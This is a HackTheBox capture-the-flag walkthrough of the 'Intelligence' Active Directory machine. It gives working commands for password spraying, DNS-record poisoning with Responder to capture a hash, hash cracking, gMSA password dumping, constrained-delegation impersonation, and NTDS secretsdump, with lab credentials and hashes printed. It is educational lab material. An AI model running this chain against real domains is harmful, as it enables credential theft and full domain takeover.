HTB-Intelligence
Portscan
The initial portscan of this box reveals a number of open ports that suggest we are up against an Active Directory domain controller with a domain name of intelligence.htb.
# nmap -v -sSV -p- -oN nmap/intelligence.nmap 10.10.10.248 PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-11-26 04:48:41Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0....) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0...) 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0...) 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0...) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49691/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49692/tcp open msrpc Microsoft Windows RPC 49710/tcp open msrpc Microsoft Windows RPC 49714/tcp open msrpc Microsoft Windows RPC 61221/tcp open msrpc Microsoft Windows RPC
Exploring the Web Server
We decide to explore the web server first and after editing our /etc/hosts file we navigate to http://intelligence.htb and are greeted with the following page:
Scrolling through the site we see a couple of links on the home page to PDF files stored in a /documents subfolder and take note of the naming convention of these files: YYYY-MM-DD-upload.pdf
We quickly check to see if directory listings are enabled by navigating to http://intelligence.htb/documents/ but immediately get a 403 Forbidden error.
Before attempting to bruteforce other valid document names in this directory, we run gobuster to see if there are any other interesting directories on the web server.
$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u http://intelligence.htb/ =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://intelligence.htb/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/11/26 10:04:03 Starting gobuster in directory enumeration mode =============================================================== /documents (Status: 301) [Size: 157] [--> http://intelligence.htb/documents/]
Bruteforcing File Names
Since gobuster didn’t return any other interesting results, we turn back to exploring the documents directory. We want to try brute forcing file names by following the YYYY-MM-DD-upload.pdf format we noticed in the two documents linked from the home page. We can leverage PowerShell on linux to generate a wordlist:
#!/usr/bin/pwsh -Command $startDate = (Get-Date -Year 2020 -Month 1 -Day 1) $Today = (Get-Date) while ($startDate -lt $Today) { $fileName = ($startdate.ToString("yyyy-MM-dd") + "-upload.pdf") Write-Output $fileName >> fileList.txt $startDate = $startDate.AddDays(1) }
After running this script we have a list of possible PDF file names in fileList.txt. We can then write a simple bash script to attempt to download each of the files to see if we get anything:
$./downloadFiles.sh [+] Downloaded http://intelligence.htb/documents/2020-01-01-upload.pdf [+] Downloaded http://intelligence.htb/documents/2020-01-02-upload.pdf [+] Downloaded http://intelligence.htb/documents/2020-01-04-upload.pdf [+] Downloaded http://intelligence.htb/documents/2020-01-10-upload.pdf [+] Downloaded http://intelligence.htb/documents/2020-01-20-upload.pdf [+] Downloaded http://intelligence.htb/documents/2020-01-22-upload.pdf [+] Downloaded http://intelligence.htb/documents/2020-01-23-upload.pdf [+] Downloaded http://intelligence.htb/documents/2020-01-25-upload.pdf ...snip
Gathering Intelligence
We now have a directory full of PDF documents! Opening a few of the PDFs we see most of them contain text in Latin; however,we do find one with some interesting information: 2020-12-30-upload.pdf
Instead of manually opening up all the remaining PDF documents, we can install pdfgrep and start searching for interesting strings. After searching for the word ‘password’ in the documents we find another useful PDF: 2020-06-04-upload.pdf
We appear to have found a New Account guide which lists a default password!
Examining Metadata
Now that we have a password to use for password spraying we just need a list of valid user accounts. Since we have all of these PDF files we can check the metadata to see if we can find any names or information to build a list of users to try. Running pdfinfo on one of the documents we find the Creator field has a name in FIrstname.Lastname format.
We put together a quick one-liner to run pdfinfo against all the PDF files and extract the Creator field and then remove the duplicates to get a list of unique usernames:
$ for i in $(ls *.pdf); do pdfinfo $i | grep "^Creator"| cut -d ' ' -f 9 >> creators.txt; done $ cat creators.txt | sort -u > users.txt
Validating Users & Password Spraying
We then run kerbrute using this user list to validate if these are valid Active Directory accounts:
After confirming these are valid accounts we proceed to password spraying using the default password previously discovered. We find an account (Tiffany.Molina@intelligence.htb) that still has this default password!
We take note of the clock skew error and update our time to match that of the target box:
# ntpdate -u intelligence.htb
Note: If you run into issues with getting ntpdate to sync due to the fact the clock skew is too great you may need to first set the date as close to the same time as you can manually using date -s “[DATE_STRING]” and then call ntpdate again to fine tune.
You can connect to port 5985 (WinRM) and use the timestamp from the header when manually setting the time:
# curl intelligence.htb:5985 -v
* Trying 10.10.10.248:5985...
* TCP_NODELAY set
* Connected to intelligence.htb (10.10.10.248) port 5985 (#0)
> GET / HTTP/1.1
> Host: intelligence.htb:5985
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 Not Found
< Content-Type: text/html; charset=us-ascii
< Server: Microsoft-HTTPAPI/2.0
< Date: Sat, 27 Nov 2021 04:44:11 GMT
# date -s "Sat 27 Nov 2021 04:44:11 GMT"
Also, it may be necessary to stop the virtualbox-guest-utils service on your machine if running to prevent the changes from quickly getting reverted. Once the clocks are synced up we shouldn’t have further issues with Kerberos authentication.
Enumerating File Shares
Now that we have valid credentials we can try to enumerate SMB file shares using crackmapexec
It appears we have READ access to at least two non-standard shares: Users and IT. We begin by looking at the Users share.
$ smbclient -U Tiffany.Molina //intelligence.htb/Users Enter WORKGROUP\Tiffany.Molina's password: Try "help" to get a list of possible commands. smb: \> ls . DR 0 Sun Apr 18 20:20:26 2021 .. DR 0 Sun Apr 18 20:20:26 2021 Administrator D 0 Sun Apr 18 19:18:39 2021 All Users DHSrn 0 Sat Sep 15 02:21:46 2018 Default DHR 0 Sun Apr 18 21:17:40 2021 Default User DHSrn 0 Sat Sep 15 02:21:46 2018 desktop.ini AHS 174 Sat Sep 15 02:11:27 2018 Public DR 0 Sun Apr 18 19:18:39 2021 Ted.Graves D 0 Sun Apr 18 20:20:26 2021 Tiffany.Molina D 0 Sun Apr 18 19:51:46 2021 3770367 blocks of size 4096. 1462014 blocks available smb: \>
We explore around and find the user.txt flag for Tiffany Molina
smb: \> cd Tiffany.Molina\Desktop\
smb: \Tiffany.Molina\Desktop\> dir
. DR 0 Sun Apr 18 19:51:46 2021
.. DR 0 Sun Apr 18 19:51:46 2021
user.txt AR 34 Fri Nov 26 19:24:25 2021
3770367 blocks of size 4096. 1462014 blocks available
smb: \Tiffany.Molina\Desktop\> get user.txt
getting file \Tiffany.Molina\Desktop\user.txt of size 34 as user.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
Next, we checkout the IT share and find an interesting PowerShell script named downdetector.ps1
$ smbclient -U Tiffany.Molina //intelligence.htb/IT Enter WORKGROUP\Tiffany.Molina's password: Try "help" to get a list of possible commands. smb: \> dir . D 0 Sun Apr 18 19:50:55 2021 .. D 0 Sun Apr 18 19:50:55 2021 downdetector.ps1 A 1046 Sun Apr 18 19:50:55 2021 3770367 blocks of size 4096. 1462014 blocks available smb: \> get downdetector.ps1 getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (8.0 KiloBytes/sec) (average 8.0 KiloBytes/sec) smb: \>
We examine the contents of the script:
$ cat downdetector.ps1 # Check web server status. Scheduled to run every 5min Import-Module ActiveDirectory foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") { try { $request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials if(.StatusCode -ne 200) { Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down" } } catch {} }
This must be the script that was mentioned in the PDF we found earlier. If we are able to create a DNS record with “web” in the name we could point it at our machine and capture the credentials of the account running the script.
Capturing Ted’s Credentials
We start up responder:
# responder -v -I tun0
We then use dnstool.py to create a record for webpwnage2.intelligence.htb
$ python3 ./dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r 'webpwnage2.intelligence.htb' -d '10.10.14.21' --action add 10.10.10.248 [-] Connecting to host... [-] Binding to host [+] Bind OK ./dnstool.py:241: DeprecationWarning: please use dns.resolver.Resolver.resolve() instead res = dnsresolver.query(zone, 'SOA') [-] Adding new record [+] LDAP operation completed successfully
Within a few minutes we capture the hash for user Ted.Graves in Responder:
We save the hash to a file named hash.txt and proceed to crack it with hashcat:
$ hashcat -m 5600 ./hash.txt /opt/wordlists/rockyou.txt --force
$ hashcat -m 5600 ./hash.txt --show
TED.GRAVES::intelligence:97bd4e9ff646c9d9:9f95d5384400eb007ca4aa3a690962b0:0101000000000000748f29a656e3d701140e05047920b16f000000000200060053004d0042000100160053004d0042002d0054004f004f004c004b00490054000400120073006d0062002e006c006f00630061006c000300280073006500720076006500720032003000300033002e0073006d0062002e006c006f00630061006c000500120073006d0062002e006c006f00630061006c00080030003000000000000000000000000020000059c4350a48d17f20c5a7efe80f8dab0838fd1a6804b331c108b5f89ff2e4640f0a001000000000000000000000000000000000000900400048005400540050002f00770065006200700077006e0061006700650032002e0069006e00740065006c006c006900670065006e00630065002e006800740062000000000000000000:Mr.Teddy
We try the cracked password with evil-winrm but are unable to get a shell.
AD Enumeration with Bloodhound
Next, we try running bloodhound-python to enumerate Active Directory further and attempt to identify an attack path.
$ bloodhound-python -c All -u Ted.Graves -p "Mr.Teddy" -d intelligence.htb -dc intelligence.htb --zip WARNING: Could not find a global catalog server, assuming the primary DC has this role If this gives errors, either specify a hostname with -gc or disable gc resolution with --disable-autogc INFO: Connecting to LDAP server: intelligence.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 2 computers INFO: Connecting to LDAP server: intelligence.htb INFO: Found 42 users INFO: Found 54 groups INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: svc_int.intelligence.htb INFO: Querying computer: dc.intelligence.htb INFO: Skipping enumeration for svc_int.intelligence.htb since it could not be resolved. INFO: Done in 00M 05S INFO: Compressing output into 20211126235834_bloodhound.zip
After loading the .zip file into Bloodhound for analysis and marking the owned principals (the Ted.Graves & Tiffany.Molina accounts), we run the Bloodhound query for “Shortest Paths to Domain Admins from Owned Principals” and see the following:
The Ted.Graves account is a member of the security group ITSUPPORT which has the capabilities to read the Group Managed Service Account password for SVC_INT.
The SVC_INT service account in turn has constrained delegation privileges to the domain controller (dc.intelligence.htb). We can exploit this chain to ultimately achieve domain admin rights.
Exploiting the ReadGMSAPassword Rights & Constrained Delegation
We start the exploit chain by using a tool called gMSADumper to get the hash of the SVC_INT service account.
$ gMSADumper -u TED.GRAVES -p Mr.Teddy -d intelligence.htb -l 10.10.10.248 svc_int$:::b98d4cef68f72a98dfeed732d1b1abca
Next, we use the impacket getST.py to request a service ticket on behalf of the domain Administrator
$ python3 /opt/impacket/examples/getST.py -spn www/dc.intelligence.htb -impersonate Administrator -hashes :b98d4cef68f72a98dfeed732d1b1abca -dc-ip 10.10.10.248 'intelligence.htb/svc_int$' Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation [*] Getting TGT for user [*] Impersonating Administrator [*] Requesting S4U2self [*] Requesting S4U2Proxy [*] Saving ticket in Administrator.ccache
Now that we have a ticket for the Administrator we can run secretsdump.py to loot the domain and collect all the hashes!
$ export KRB5CCNAME=Administrator.ccache $ python3 /opt/impacket/examples/secretsdump.py -k -no-pass dc.intelligence.htb Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation [*] Service RemoteRegistry is in stopped state [*] Starting service RemoteRegistry [*] Target system bootKey: 0xcae14f646af6326ace0e1f5b8b4146df [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:0054cc2f7ff3b56d9e47eb39c89b521f::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information. [*] Dumping cached domain logon information (domain/username:hash) [*] Dumping LSA Secrets [*] $MACHINE.ACC ...SNIP [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:9075113fe16cf74f7c0f9b27e882dad3::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9ce5f83a494226352bca637e8c1d6cb6::: intelligence.htb\Danny.Matthews:1103:aad3b435b51404eeaad3b435b51404ee:9112464222be8b09d663916274dd6b61::: intelligence.htb\Jose.Williams:1104:aad3b435b51404eeaad3b435b51404ee:9e3dbd7d331c158da69905a1d0c15244::: intelligence.htb\Jason.Wright:1105:aad3b435b51404eeaad3b435b51404ee:01295a54d60d3d2498aa12d5bbdea996::: intelligence.htb\Samuel.Richardson:1106:aad3b435b51404eeaad3b435b51404ee:fa7c1a2537f2094bd10e3eddc8e04612::: intelligence.htb\David.Mcbride:1107:aad3b435b51404eeaad3b435b51404ee:f7aacab8c61105a5d5f99382ace61ddf:::
Getting a Shell as Domain Admin
Finally, we can leverage Metasploit ‘s psexec module and the dumped Administrator’s hash to get a shell on the box as domain admin:
We can now capture the root flag!